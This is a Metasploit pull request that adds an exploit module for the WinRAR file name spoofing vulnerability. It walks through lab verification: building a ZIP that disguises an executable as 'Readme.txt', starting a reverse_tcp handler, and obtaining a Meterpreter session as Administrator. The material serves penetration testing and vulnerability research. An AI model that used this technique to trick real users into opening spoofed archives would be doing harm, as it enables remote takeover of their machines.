rapid7/metasploit-framework — pull request #3194 by jvazquez-r7 (2014-04-07 14:31:25+00:00)
Title: Add module for Winrar file name spoofing

This pull requests adds a module for the WINRar file name spoofing vulnerability exploited in the wild in March 2014:

http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html
http://an7isec.blogspot.co.il/

It isn't indeed a new vulnerability but a very well known one.

This pull request also add suports to Rex::ZIP to spoof Entries file names in the Central Directory at packing time.

Verification
--------------

- [ ] Install a Windows machine with WinRAR 4.20 <-- I found this one vulnerable, even when there are newer versions of WinRAR around, they don't look vulnerable.

- [ ] Generate a malicious ZIP file with the new module. Use the SPOOF option to customize the faked name which the user will see for the real EXE:

```
msf exploit(winrar_name_spoofing) > show options

Module options (exploit/windows/fileformat/winrar_name_spoofing):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.zip yes The output file name.
SPOOF Readme.txt yes The spoofed file name to show

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows Universal

msf exploit(winrar_name_spoofing) > rexploit
[*] Reloading module...

[*] Creating 'msf.zip' file...
[+] msf.zip stored at /Users/juan/.msf4/local/msf.zip
```

- [ ] Launch the handler in the console

```
msf exploit(winrar_name_spoofing) > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
```

- [ ] Open the ZIP file with WinRAR in the test machine (double click). You should look something like that:

![winrar](https://cloud.githubusercontent.com/assets/1742838/2632121/46db4232-be61-11e3-9d8a-6803837618b1.png)

- [ ] Double click the Readme.txt file (or the name you provided through SPOOF).

- [ ] You should enjoy a new session in the handler listening in the console.

```
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:1071) at 2014-04-07 09:21:02 -0500

meterpreter > getuid
Server username: JUAN-6ED9DB6CA8\Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 1 closed. Reason: User exit
```